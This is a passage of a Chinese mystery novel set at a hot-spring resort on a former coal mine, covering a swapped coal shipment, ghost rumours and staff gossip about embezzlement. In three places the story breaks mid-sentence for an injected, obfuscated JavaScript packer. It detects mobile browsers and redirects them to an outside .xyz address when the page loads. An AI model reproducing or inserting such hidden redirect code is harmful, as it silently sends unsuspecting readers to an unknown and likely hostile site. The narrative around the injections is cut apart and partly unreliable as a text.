得到老师的支持,医生更加有底气阐述了,“世界上最著名的杨式双缝干涉试验,证明了光粒二象性,说明客观不是死的,是有意识的,客观能影响主观,世界是不真实的。观察者的存在会影响试验的结果,这是无法理解的,难道光子有智力?有人在就是两条横杠,人离开了,就呈现斑马线。还有,一次只发射一个光子,一个光子有可能从左边缝隙通过,或是从右边缝隙通过,或是被阻断了无法通过,并列的多种可能。但一次只能通过一个缝隙,却产生出干涉形成条纹,那么它是跟什么东西作用的呢?我告诉你,它是跟有可能穿过另一条缝隙的光子发生了干涉,说明平行宇宙是存在的。那辆车在我们看来,是选择了平行世界的一个可能,我们集体穿越啦,或是在运输途中发生了意外,改变了应有的结果。对吧,老曹、刘哥?我们也不是没穿越过。” “哪个老杨做的试验?这完全是悖论,还平行世界!难道另一个我在市里,没来泡温泉吗?”老人认为他们在胡说八道。 刘庆东根本没去听医生的胡扯,他琢磨着在哪儿调的包呢,“别闹了,要我说呀,也许拉煤车根本没装煤,装的是炉灰,装模作样跑到矿上封签,那样所有流程就看不出问题了。要干成这事儿,关键是矿上封签人,他要是认认真真地查看,是绝对不能蒙混过关的。至于说拉错了地方,是用来垫道的,那更不成立了,谁看过给炉灰渣子封签的?有这个必要吗?大道上谁来验签呢?” 老法官听得心服口服,夸刘庆东分析得透彻,一定是有人有意而为之,不是贪财,就是栽赃,下一步他要去查封签人和开那辆车的司机。 7. 在满族风情的院子里 前面古色古香的四合院看得真楚的了,一条人造小溪从院子的西墙外流过,离院门西南方向十余米远有座石板桥,古朴的没有任何装饰。大门外停着辆中巴车。 老人翟俊波感到要尽地主之谊,充当好导游的角色,“这几座满族式四合院是前年修的,今年四月初才竣工,我侄女婿刘琪特地去新宾找的专业施工队,按照老样式照搬过来的。你们看这路面,是货真价实的磨盘拼砌的,一块块从山里老乡家淘弄来的。刘琪这孩子干啥事儿都用心,他当过这儿的矿长呢。” “井口在哪里呀?”刘庆东随口问道。 老人抬起手指向远处,就在一墙之隔孤零零有间厂房,“有啊,这地方原本是煤矿,那里就是井口房,早就停产了。那时候刘琪是副矿长,正的姓黄,大老黄,朝阳人,镶了一口的假牙,人是好人,就是胆子特大,贪污做假账,露馅后跳楼自杀了,就摔死在楼西头那块儿,身子被铁栅栏穿了好几个眼儿,血得呼啦挺惨的。我听小毕说,黄矿长跳楼时一定经历了激烈的思想斗争,有一侧的窗楞子都扣下去一块,早知今日,何必当初呢。后来侄女婿包了这块地,翻新了办公楼,又加盖了两层,建起温泉度假村,干的挺红火。可没那个寿禄啊,六十刚出头就走啦。”说完他伤心地打着唉声。 几个人走进木制的栅栏门,“进院儿,这是头套院子,咱们先看看这边,是牛棚马棚,大户人家才能养得起牛马。再来这边,还垒了个猪圈,满满的农村生活。你们看这房山头,有一个大烟囱杵在地上,这是满族独有的,正所谓口袋房、万字炕、烟囱杵在地面上,这烟囱在满语里称为呼兰,烟囱砌在山墙外。再过来瞅瞅这边。” 三个人像被牵拽的木偶,笑呵呵地跟在老法官的后面,津津有味地听他讲解,“看这儿,窗户纸都是糊在外面的,这就是关东十八大怪,十八怪有啥呢?大姑娘叼烟袋、生了孩子吊起来、嘎拉哈姑娘爱、靰鞡鞋脚上踹、黏豆包粘锅盖、新鲜白菜腌酸菜、火盆土炕烤爷太、豆瓣大酱天天晒、坐着倒比跑的快、冰上钓鱼单线拽、大姑娘上树比猴快、上贴饼子下炖菜、南北大炕对脑袋、大碗喝酒如灌溉、萨满降魔驱病害、草苫土房篱笆寨,还有这个窗户纸糊在外。走,再往前看看。” 李玄边听边用心数着,“哎,还少一个呢,才十七个呀。最后一个是啥?” 刘庆东低声告诉他,“人家不是刚说过嘛,烟囱,烟囱砌在山墙外。” 曹斌佩服地称赞道:“二叔一大把年纪了,记性还这么好,我只听说过其中的四五个。” 老爷子来到根木杆子底下,“这是索伦杆,是很有讲究的,不是谁都可以砍的,必须是家里的男主人上山砍来的,立在这里。上面有个叼斗,平时装着五谷杂粮,喂食乌鸦和喜鹊,乌鸦救主嘛。过年杀猪宰羊时把下水放上去一点儿,如果三天吃完,是非常吉利的。” “墙上龛里的是灶王爷吧?”医生看到墙上凿着个佛龛。 “是天地爷,别用手去指,不尊敬。”老人像是到了自己的家里,一副主人招呼客人的架势,他指着周围的房舍,“正房是主人居住的地方,两边是厢房,厢房住的是阿哈,阿哈就是奴隶,仆人,房顶上铺的草就是乌勒草,塞房子用的。” 这时,从房后转出个男人,穿着清朝对襟的布袍子,戴着顶瓜皮帽,帽后梳着长长的大辫子。 “老爷子,还没走啊,我以为你早回去了呢。”古装男人看到了其他几个,“咋地?来客人啦,你是临时抓来当导游啊,大法官干这个,大材小用啦。” 李玄用胳膊碰了下刘庆东,“刘哥,人家这档次够啊,服务员都穿民族服装,跟演员似的。” 他话音刚落,那男人操起个扩音器,“小陈!陈富海!你在哪儿呢?快出来。” 喊了几遍,才从厢房里跑出个长得瘦小枯干的小伙子,忙不迭地回答道:“袁导,袁导,我在这屋里,听手台呢。”可能是怕对方挑理,又急忙补充说,“这里放着翟总的手台,我认的,我以前在翟总的公司里干过,开半挂车拉煤。我打开听听司机们唠嗑,里面有我过去的同事,黑哥、三子、红军、二愣子,不老少人呢。” 人家可不爱听他的喋喋不休,板着脸下达命令,“以后别乱跑啦,本来时间就紧,眼瞅着又要下雨了,得把花园里的戏抢出来,一天天在这里人吃马嚼的,下个星期的经费还没着落呢,这样下去怕要烂尾了。光线不够啊,你开车把补光灯取来,别耽误时间哦。”小伙子不敢怠慢,麻溜地应声跑出院子。 那人急匆匆地又回后院了,三个人这才知道,原来人家是导演啊,就是老爷子提过的袁导吧?应该是他拍片子的资金不充裕,自己都充当演员了。 大家又进到屋子里参观,房门开在南面偏东的一侧,外屋地有水缸,摆着磨盘,屋角设有灶台,支着大铁锅,只是用来当做摆设,没有动过火的痕迹。灶台上贴着灶王爷的神像,下面放着坛子罐子。西屋砌着南北的火炕,正对门的墙上贴有对联,左为“起运长白”,右书“运来苏水”。老爷子说是供奉祖先的地方,中间挂着两张剪纸,炕琴上的角落里还挂着一张,两张黄的,一张红的。老人告诉他们这表明是上三旗,镶黄旗。屋子的棚顶是木架子支起来的,若是水浒里的石迁来了,一准儿会偏爱那里跳上去的。 待他们走出屋子时,天上淅淅沥沥下起了雨,眼瞅着越下越大。四个人便要返回主楼去,不想被人喊住了,喊他们的还是那个导演,这回与他一起出来的还有三男两女,其中三个与其穿着同样的清朝服饰。 “翟老爷子,你们等等再走,这雨下的可不小啊,等小陈回来,坐我们的车一起回去呗。”原来是邀请他们坐车呢,这导演能处,是个热心人。 多亏坐了他们的车子,这雨下的都冒泡了,若是步行,一准被浇成落汤鸡。四个人都在表示谢意,尤其是老法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853041|159303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官,一个劲地夸赞司机小伙开车手把好。 “那敢情,陈哥原来是开大挂的,开这中巴不跟玩似的。”在前排位置上坐着位化了妆的女子,说起话来嗲声嗲气的,她神采飞扬地炫耀着同事的阅历。 “小伙子,你原来也是小刚运输公司的?”翟俊波慈爱地看着司机的后脑勺,似彼此的关系更加亲近了。 小伙子没有回头,从车内后视镜回望了一眼,“是呀,我在翟总的公司干过,那时候生意老红火了,光司机就有三四十人,有跑不完的活儿。” “你是公司倒闭后出来的吧?”老爷子黯然神伤地问。 司机小伙同样情绪低落了,“是呀,谁也没想到出了那种事儿,生意一下子就完了,一辆车一辆车往外卖,贷款都还不上,那段日子翟总真上火呀,头发大把大把地掉,能老了十岁。” “三四十人都没工作啦,这背后是三四十个家庭呀。你们都是本地人啊?”老法官忧心忡忡地问。 小伙子手把方向盘,目视前方,车子正向左转,“几乎都是调兵山这个窝棚,那个屯子的,大多在市里买了房子。这村里的祥子就是我们公司的,他媳妇原来是煤场检斤的,他比我出来的早,因为翟总撩扯他媳妇,他媳妇长得好看,那身段可带劲啦。祥子又不是武大郎,哪能咽下这口气?抡着镐把子找他算账,两个人撕巴起来了,翟总的门牙都被打掉啦,之后两口子就都不干了,听说祥子赔了不少钱呢,牙打掉了属于破相伤,人家局子里有人啊。” “呵呵,年轻人的通病,玩玩嘛,谁也别说谁,一个巴掌拍不响。呵呵。”老法官尴尬地笑着,笑声听起来极其地不自然。 颇有眼色的李玄转移话题追着问,“那天到底是谁开的车?拉的煤咋变成炉灰了呢?” 小伙子支支吾吾地搪塞着,“我当时去别的矿了,具体是咋回事也不清楚。开车的是老佟,那是我师父,他大名叫佟生人,来翟总的公司前我们曾在一个运输队。他家里困难,啥活都抢着干,头一天晚上还给人拉沙子呢。是不是那天累糊涂了?本来安排拉炉灰,却迷登地给封上签了,又运回煤场啦。他年纪大,这事儿保不齐呀。”说完这些,他便保持沉默,不肯涉及这件事了。 “小伙子,你们来拍戏,是你给引荐的吧,这度假村的景儿可好啦。”老法官想当然地说。 却被对方一口否认了。“不是,是小米姐推荐的,她不但给片子唱主题曲,还演女一号金花公主,人家是大网红,投资方大股东。她跟翟总是好朋友,贼好贼好的那种。人俩是一家人,有她,还用得着我啦?” “啥,她叫小米?不是真真吗?”老爷子惊讶地叫出声,随即强压住激动的心情,向女子投去鄙夷的目光。 可那三十几岁的女子并未觉察到,正使劲地捶着司机的后背,嗔怪地骂他“烦人,讨厌”。与她同排的年轻姑娘捂着嘴笑,把头顶板状的大拉翅都笑歪了。 8. 在楼顶天台上 大家回到楼里,由服务员小红给他们安排住宿的房间,说是女老板刚刚吩咐过的,刘庆东住在李玄的隔壁,曹斌住在李玄的另一侧,都是五楼阳面的标间。姑娘还告诉他们,餐厅在一楼,早餐七点,中午十一点半,晚餐十七点开饭。 刘庆东也没带行李,没什么好收拾的,便打算去楼顶尖塔那里溜达溜达。李玄和曹斌都说走累了,躺在床上不想动弹,只等开午饭的时间嘞。 没人陪着,只好一个人喽,他没坐电梯,顺着楼梯上到六层,再往上走就是楼顶了。想要去往天台,得走设在楼外面的消防逃生楼梯,还好,通往外面的防火门没锁,一拧把手门便开了,这铁梯子是从底层延伸上来的。 天台上用彩钢板搭建着棚子,拉着一条条长长的晾衣绳,绳子上挂满了被罩和床单,旁边的地上放着个大塑料盆,盆沿搭着副黄色的乳胶手套。因为有遮挡,下雨天也可以晾晒。不远处有架刷了绿漆的短楼梯,可以进入到尖尖的塔楼里。 此时雨驻了,他踩着湿滑的踏板上去,发现塔楼拱形的木门虚掩着,没有门鼻和暗锁,推开实木门看清里面放着些用不上的杂物,和摞起来的纸壳箱子。地板上积着厚厚的灰尘,但有的地方明显有擦过的痕迹,极不规则,像是有人在上面打个滚。室内的空间不大,细高细高的,举架有十几米。墙壁是用木板拼接的,书本那么厚不隔音,外面包了一层薄薄的铁皮。 “老刘,那里就是个储藏室,放破烂的。”女老板出现在楼梯口,她刚刚上来,看见了塔楼门口的刘庆东。 “翟姐呀,我顺便走走。这楼建的像座城堡,真气派,尤其是这个塔楼,像欧洲中世纪的大教堂。” 女人笑着向他走来,“是我家那位的主意,我们去欧洲旅游,他看好了,便把原来的办公楼改造成这样。你真会选,这里可是度假村的最高处,赏景的好地方,四周没有挡头,不像城里都是高楼大厦,楼层矮的像住在井里。这里的空气好,每天天刚亮我就上来,打一套八段锦。我都坚持锻炼一年多了,感到浑身充满了活力。” “是不错,沈阳可没这么好的空气,全是工业尾气,这里风景也优美。”刘庆东比她站的还要高,看得更远些,“那边是兀术城吧?能看到城门楼子,还有山坡上的明月禅寺。” 他之前去过那里,慕名参观了金街、兀术街、兀术城和月亮湖,他感到城里金兀术骑马抡斧的雕像非常有气势,尤其是那顶圆形的皮帽子,和两条下垂到腰间的皮毛护耳,与六王爷完颜洪烈的一模一样,于是认定大金国的将领就该是这个打扮。可对城里古色古香的仿金建筑群颇有微词,设计者太马马虎虎了,把关内飞檐拱脊的汉族风格依葫芦画瓢,原封不动地照抄照搬来了,几乎没有什么两样,只是窗户窄了些,让人产生漫步在开封御街的错觉。 女人回应着,“是,那边是大庙方向。” 刘庆东转眼望见东北方有座山峰,圆圆的像极了金国人的帽子,便指着给女人看,问她是不是有同感。 “那是南帽山嘛。” “叫南帽山!看来大家的眼光相近啊,那么还有北帽山喽?” 女老板笑着说:“被你说着了,在它的北面的确有座北帽山。” 她不错眼珠地盯着对方,呵护他小心翼翼地走下梯子,直到站稳了这才放心,去到绳子旁试探床上用品是不是已经晾干了。 “你来收床单呀?大老板还干这个,让服务员收呗。”刘庆东问着身边的女人。 “嗨,我就是劳碌命,打小在农村干惯了,结婚进了城当过售货员,卖过保险,开过饭店,干过婚庆公司,现在秋收时还回老家帮着俺爹收苞米呢。这么大的度假村哪儿都得管,一不小心便让人钻了空子。不瞒你说,我这人有强迫症,啥事儿必须做得利利索索的,要不心里闹得慌。就拿这洗被罩来说吧,边边角角得抹嗦平了,让服务员去干,她们指定糊弄糊弄就完了,皱得跟粑粑介子似的。”女人苦笑着走到楼边,扶着水泥矮墙往下看。 真是这样啊,刘庆东注意去看,不论是被罩,还是床单,都平展展的,就连接缝也被抻得板板正正的。这女人真利整,讲究生活品质,是个能干的人儿。 那矮墙并不高,刘庆东稍微有点儿恐高症,他不敢走到跟前,心里打着鼓砰砰的,生怕从这一米来高的墙上折下去。 他望见远处的民宿院落,试探地提出要求,“翟姐,我有个不情之请,能不能让我住一晚口袋房,我听朋友说这种房子别有情趣,早就想体验一下了。” “民宿那边没开呀!停了好几个月啦。有那么好吗?住着跟过去的平房没啥两样。”她那诧异的目光与刘庆东渴望的眼神交汇了,“你非要住啊?也不是不行,小刚的那间屋子随时可以住人,若是嫌炕潮,可以先把电热板点上烘一烘。可是,可是,”她在犹豫是讲还是不讲。 对方已经心领神会了,“你担心我的安全?被鬼害喽。我是无神论者,世上哪里有鬼呀?有也是人扮的,心怀鬼胎出来吓唬人,我可不信那一套。而且我还要把他抓住,问问他为什么来嚯嚯你的买卖。” 女人的表情立马严峻起来,“老刘,先谢谢你为我着想。有没有鬼我现在也是魂画魂的,起先我也不信,认为是坏人装的,装神弄鬼给我添堵。可有的客人说真真实实看到了,不只是一天两天,一到半夜就出来,我以为是黄矿长的鬼魂出来捣乱呢。” “黄矿长?是不是那个贪污跳楼自杀的?” 女人瞪大眼睛点着头,“对,你也听说啦?谁这么嘴快?是他,就是从四楼办公室窗户跳下去的,摔在楼西头的铁栅栏上,他们都劝我换换地方,可我不怕他,活着的时候就不怵他,大脑袋小细脖,长的跟武大郎似的。”她瞥了一眼西边,仿佛在看黄矿长的鬼魂会不会爬上来,“又有人说那恶鬼是个女的,从叫唤的声音分辨出来的,肯定不是黄矿长啦。小刚说也碰见了,有女鬼追打他,我就想起村东头原本有个娘娘坟,我小时候还有个土包呢,后来小刚建煤场给推平了,会不会是坟里的鬼魂作怪呀?” 说是女鬼,刘庆东心想不一定吧,男人假扮成女的还不容易,把嗓音勒尖勒细,烫个大波浪,描个眉,涂个口红,穿件旗袍,不就以假乱真了嘛,不用做变性手术就能办到。 “娘娘坟?是啥朝代的娘娘啊?”刘庆东还未听说过这事儿,他来调兵山时间尚短,只耳闻这里是金兀术调兵遣将的据点,在城南锁龙沟囚禁过宋徽宗和他儿子宋钦宗。 “我听老辈人讲过,是被金兀术掠来的大宋皇后,受不了金人的虐待,悬梁自尽了。埋在这里,便有了娘娘坟的地名。” 原来如此,那一定是北宋徽钦二帝的皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853042|159303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,至于是哪位的,翟老板也说不清楚。 刘庆东坚决不信是娘娘的鬼魂,宋朝人的骨头早腐烂成泥土了,他还是想去平房住一晚上。翟宏霞看他执意要去,也只能勉强答应了,说是一会儿让服务员小红打扫一下,再抱一套被褥过去。 女人见刘庆东闲来无事,便请他去一楼的餐厅帮厨,说是有个服务员做阑尾炎手术没来上班,张强又拉着二叔出去了,餐厅人手不够,去帮着干点儿力气活。女老板如此的不见外,把自己当成朋友,刘庆东自然爽快地答应了。 午餐是自助形式的,还没到用餐时间,大厅里空无一人,两个厨娘都在后屋忙活呢。他炒菜做饭帮不上忙,便跟着翟老板做些力所能及的杂活儿,摆放碗筷、杯子、盘子。 这盘子让女人摞得整整齐齐,上下一致像纯洁无瑕的玉柱。白色仿瓷盘子上有度假村的图标,图标对正在同一个角度,这更加证明了她是个一丝不苟的人。 外面的活儿干完了,刘庆东去给厨娘打下手。这两位半老徐娘,一个胖来,一个瘦,瘦子比胖子小上十多岁。胖子应该起到领班的作用,不住地让另一个干这个,干那个,被指使的瘦子也没有怨言,有条不紊都干着手里的活计。 “老哥,你是新雇来的呀?看经理对你的态度,你们绝不是一般关系,一个月给你开多钱?”看刘庆东笑着摇头,她又自顾自地猜测着,“你是临时工,还是长期的?秀敏病好了还回来不?你是她朋友介绍来的,还是有哪位领导的关系?不是不可能,她对待一般人可没这样的好脾气。” “老板脾气不好啊?” 胖厨娘不满地嗤了一声,用擀面杖挑着油饼放到电饼铛里,“那脾气,一般人受不了,可要尖啦,你不服软没完。比她老头活着的时候还要邪乎。她男人原来是这里的副矿长,有个外号叫刘老坏,比正矿长黄世仁还坏,黄世仁是他的外号,是蔡亮给他起的。听人说,大老黄贪污被人举报了,贪了好几千万,他还不是党员,知道没有好结果。他本来就又瘦又矮的,几天工夫都快瘦成烤鱼片啦,头发全白了,最后把心一横跳楼自杀啦。老坏媳妇可霸道啦,刚才我打财务室那儿过,她还在骂人呢,骂得张文宏声都不敢吱,那也是五十多岁的人啦,像训孙子那样训他,好像是说老张做假账秘钱了。素芬,她在家里对亲戚也这样邪乎啊,铁公鸡一毛不拔吗?” 被问的瘦女人抿着嘴笑而不答,用铲子翻动着铁锅里的肉丝。 “她不敢说,素芬是老板的远房亲戚,她老姑家儿媳妇的表姐,这弯儿绕的,指定是出五服啦。”她向同伴努努嘴,“人家信神,不像我这样大嘴巴瞎咧咧,讲文明,说话不带脏字,有点儿钱都孝敬师父啦。” 刘庆东也看到瘦女人脖子下的十字架,原来她信基督教啊,是新教,十字架上没有耶稣受难像。可又不完全肯定,因为说她孝敬师父,基督教的信徒称呼牧师为先生,从来没听说叫做师父。教会又不是寺院,也不是武馆,更不是修车修鞋的,难道她入了不该入的非法组织? 事实正是如此,听瘦女人柔声细语地说话了,“宏霞姐对亲戚们挺客气的,一点儿不扣。大秦,你没发现吗?她最近不那么扬巴啦,脾气好了不少,是我的功劳。我经常劝她,末世马上就到了,赚钱救不了命,每个人都要尽本分,到世界末日才能获得拯救。” 9. 在厨房 “大哥,别傻杵着啦,来帮我翻饼。”胖厨娘不由分说地吩咐他,已然把刘庆东当成新来的帮手了。 这女人貌似直爽泼辣,不拘小节,可做起饭来娴熟细腻,悉心指导什么时候该翻、什么时候喷油,怎么看饼子的颜色变化。刘庆东见她十个指头上都镶着钻,厨师也做这个?可别掉进饭菜里,他感到太随心所欲了,此举不妥。 “这种油饼烙三面,头遍一定型就该翻了。” 刘庆东不精此道,心里纳闷了,两面的饼子咋出三面啦?难道要立起来烙边边吗? 看他不解的样子,女人没有笑话他,“三面是先烙一面定型,在朝上的一面喷点儿油,翻过来烙熟,再喷油翻面,烙另一面,看饼子的颜色,这样就行了,时间长就发哏啦。” “有烙一面的吗?”刘庆东故意这么问,本来是想调侃一下,他对做面食一窍不通。 “有啊,锅贴、煎饺、烀饼、水煎包,都是烙一面。这些活你都得拿起来,别指望我一个人。饼的种类可多啦,还有烙五面,烙八面的。有的为了起层,还得放油酥,像千层饼、手抓饼……”厨娘不厌其烦地给他讲做各种饼的方法。 刘庆东认真听着,“大妹子,你知道的可真多。”他看她的面相,应该比自己年轻。 “敢情,我在这矿上做了三十多年的厨师,当年有二百多人吃饭呢。早中晚三顿,来食堂吃饭的职工乌泱乌泱的。那时候没这么多家伙事儿和调料,色香味全凭着手艺,更没这么多讲究,筷子怎么摆,碗怎么放,盘子怎么摞,工人们都自备碗筷,吃完了自己刷去,不用我们操心。”胖厨娘骄傲地说。 “你是这里的老人儿啦。”刘庆东奉承她。 正擀饼的厨娘顺口说道,“那当然了!煤矿关停后就剩下四个人,我、正副矿长和会计小兰子,其他人不是买断了,就是调走喽。我那年四十九,还差两个月退休,赖了吧唧在这儿挨到点儿。退休后他们没让我走,继续雇我做厨师。后来黄矿长跳楼了,从四楼办公室的窗户跳下去的,那时候这楼还没加高。会计小兰子被勒令开除了,刘琪承包这院子建度假村,干了几年病死啦。那三个全不在了,眼下就剩我一个人还活着。”她的语气里既有自豪,又夹带着感伤。 “会计老张是后来的吧?原来的为啥被开除啦?”刘庆东是个爱打听的人。 女人小声说,“小兰子大名叫兰彩铃,她和黄矿长做假账贪污,被人举报了,那还有好啊?上面派了工作组,据说涉及的数目不小。小兰子被公司开除,对人说自己是冤枉的,全是黄矿长自己搞的鬼,自己个小职员也不敢说呀。再后来听说她开了家超市,就在轻工步行街上,铺面不小。也不知道她哪儿来的钱?我还不知道她那家底儿,一定是她也跟着贪了不少,大老黄死了,死无对证啊。前些日子有人说她去西双版纳旅游,出车祸撞死了,诶,她才四十多岁,还是大姑娘呢,可惜了。大家背地里都说黄世仁死得很可疑,八成是被同伙灭口了。张会计叫做张文宏,是度假村建成后来的,人家是村长的表弟,门儿挺硬,吃饭都跟老板两口子坐一个桌。” “你和翟老板两口子是老相识,他们一定对你不错吧?” 对于刘庆东的话,胖女人狡黠地笑道:“还行吧,没有无缘无故的恨,更没有无缘无故的爱,他们不敢对我不好。” “他们有把柄落在你手里了?”机灵的运转员意识到她话里有话。话刚出口就后悔了,多余去问,既然是把柄秘密,人家怎么能吐露呢? 恰在这时,从外面跑进来个小男孩,直奔灶台而去,手里拿着根蜡烛去引火。小家伙长得虎头虎脑的,大眼睛,双眼皮,元宝耳,薄嘴唇,特别招人喜爱,不知是谁家的孩子。 “小鬼头,别碰到蒸锅!烫了你。”瘦女人担心他被烫着。 “大健!淘气,大白天你点蜡烛干什么?告诉你,小孩白天玩火,晚上尿炕啊。”胖厨娘装出很严厉的样子。 小男孩已经把蜡烛点着了,“我用它在猫耳洞里看书。” “猫耳洞?你还是个小解放军啊?一定打过仗喽。”刘庆东弯下腰逗那孩子。 满脸稚气的孩子一本正经地回答他,“打过呀,在者阴山前线。” 这纯粹是童言无忌,应该是大人教的,也可能是从电视里学的,灵童转世那一套是封建迷信。 “那你用啥武器呀?红缨枪啊?”刘庆东心想这下说不出来了吧。 “56冲,56-1我没用过。” 这可让人吃奇了,这孩子说的是真是假?他连56-1都知道。 “老刘,大健的天灵盖没长合,他有通灵的本事。对人说自己前世是对越反击战的战士,杀过人。” “秦姥,杀的是敌人。”孩子对她的用词进行纠正。 这也太神奇了,难道是牺牲的烈士又投胎转世啦?孟婆汤喝的不够量? “你是谁家的孩子呀?叫什么名字啊?你当战士那会儿叫什么呀?” “我叫李健,我姥爷是王老六,以前叫什么记不得啦。” 姓秦的厨娘给他解释,“他是本村村长王福田的外孙子,他没事儿就跑来玩,跟他姥爷一样天天来,蹭吃蹭喝的。” “孔姨,曲奇饼还有没有?我想吃,想得一晚上没睡着觉。” 对于孩子的要求,怎么能忍心拒绝呢?何况他姥爷还是这里的村长啊。 瘦女人从不锈钢方盘里取出两块饼干递给他,“咦,看你这小黑手吔,嘿,这一身土啊,你掏鸟窝去啦?到外面去,姨给你拍拍。” 孩子打脱她的手,“不用拍!一会儿滚雷场还得埋汰。我刚才搞了次偷袭,攻入敌人18号高地的碉堡里,可里面太黑,照明弹打光啦,又没有子弹了,有敌人要冲进来,我躲在掩体后面不出声,等他走了,我才撤回来。” “你又去塔楼啦?你看到谁了?”胖女人猜出孩子说的高地在哪儿。 孩子遗憾地晃着小脑袋,“我当时是趴着的,没看清是谁,只听翟姥跟他说话,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853043|159303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起看风景,还说她当过售货员,卖过保险,开过饭店,还干过婚庆公司。”说完便一溜烟地从后门跑了出去。 啊!原来他说的敌人是自己呀,当时孩子就在塔楼里,藏在纸壳箱子后面喽。他听到了我们俩的对话,这薄木板做的墙壁真不隔音呀。 中午用餐的有三十几个人,除了住宿的客人,还有度假村的工作人员,只有两个是外面的,看守煤场的老毕和泉眼村的村长。 村长年纪六旬开外,谢了顶的脑瓜子泛着油亮,周边残余部队也是没精打采的,远看像戴着个飞了边的帽圈。这位个小不高,大热天穿了双增高鞋,想必对自己的海拔不太满意。他正和女老板站在窗户前,嘀嘀咕咕咬着耳朵,不知讲的是啥重要的事儿。 来用餐的人渐渐多了,大厅里的桌子几乎都有人坐着,认识不认识的随着心情凑在一起。刘庆东给两个朋友打去电话,提醒他们到吃饭的时间了,医生未接电话,曹斌接了,说是迷迷糊糊睡着啦,这就去隔壁喊李玄。刘庆东真是服了他们啦,心可挺大呀。 他拿起盘子,依次选取中意的菜品,夹了两张油饼,接了一杯豆浆,这些足够了,便四下选择空着的座位。他看见翟宏刚和摄制组坐在一起,妖娆姐与他并肩坐着,两个人的关系不一般,捅捅咕咕,有说有笑的。 刘庆东对这两个人有些反感,不愿与他们多接触,便低着头绕过去往后走。终于看见有张桌子只坐着两个人,一位还认识,是在大门口迎接他们的老毕,老毕用的餐具特殊,是陶瓷饭缸子,应该是自己带来的;另一位是骨瘦如柴的老头子,说他七十了都有人信,这人梳着分头,瘦得厉害,都可以送到医学院给学生讲骨骼了,山顶洞人的脑瓜骨上还佩了副眼镜,此刻正愁眉苦脸地述说着什么。 看刘庆东走过来,老毕热情地打着招呼,而老头子却面无表情地盯着他。老毕给他们引荐,方知这人就是会计张文宏,今年才五十二岁,只是脸上的褶子多了些,肤色黑了些,老年斑密了些,特显老。 刘庆东放好盘子坐下,一边吃着饭,一边听他俩唠嗑。张会计依然咳声叹气地倒着苦水,“不怨我,是刚总授意的,我是哑巴吃黄连,有苦说不出啊。” “你可不能说出去呀,我听说刚总要出国了,向她姐要了二百万。老板娘要是知道这事儿,发现他养婊子嚯嚯钱,非得翻儿了。那样,翟宏刚能轻饶你呀?我看啊,你还是死猪不怕开水烫,一口咬定物价上涨了,啥啥都贵。”老毕给会计出着主意。 张会计满腹的心事,一句两句平复不了他的忐忑不安,“诶,翟老板可不是那么容易糊弄的,刚才就跟我一通喊,指着鼻子教训我,说她在金都卖过家具,在商业城卖过餐具,水有多深她门清,不把事情说清楚没完。否则,兰彩铃的下场就是我的下场,别怪她翻脸无情。老毕,我是本分人,不想惹事儿,不想吃官司,当时腿肚子直哆嗦,差点儿就全招了。看这架势,我就算辞职不干了,人家也不能放过我呀,你知道我夹在中间有多难啊。” 10. 餐桌上 “文宏,你快吃完啦?”是村长手里掐着瓶白酒走过来,他将瓶子放到桌子上,“呦,老毕,正好,咱哥俩喝点儿。” “王村长,大中午的就喝呀?你又来检查卫生啦?”老毕拿起瓶子看着商标,“泸州老窖,太阳打西边出来啦?不喝散搂子啦?” 村长王福田边去餐台取菜,边美滋滋地回头答复他,“今天开把荤,不整老散了,这是翟老板赏的。” “这得给人家立多大功啊?”老毕用轻蔑的口吻对刘庆东讲,“他王老六啊,全家来这儿吃,家里都不开火啦。哎,今天你表嫂怎么没来?”他偏头对会计问。 被问的张会计面带不悦,嗤之以鼻,“还说别人呢,你不也是噌吃噌喝呀。” 老毕当即反驳他,“我可不是啊,翟宏刚租了我们家具厂的场地,合同到下个月底才到期,这期间我们崔总和他有协议,我的工资、福利都由他负责,是他让我一顿三餐来度假村解决,我来可是理所当然的。” “我六哥也是工作需要,来检查度假村饭菜的质量,卫不卫生,你没听新闻广播呀?为了保证学校用餐的安全,要求校长跟着学生一起吃,我表哥是村长,要按照上级的精神办事。” “你俩在争论啥呢?脸红脖子粗的,吃饭别生气,对消化不好。”王村长端着个托盘过来,里面盛着好几个盘子,他从嘎叽窝下取出三个塑料杯,依次放到那两位的跟前,然后用力拧开瓶盖,“来,我给你们满上,一人一口杯。” 刘庆东注意到在斟酒之前,老毕从衣兜里拿出湿巾,把杯子从里到外仔仔细细地擦拭了一遍。 “六哥,我不能多喝,下午还得拢账呢。”张文宏拿起杯子推让着。 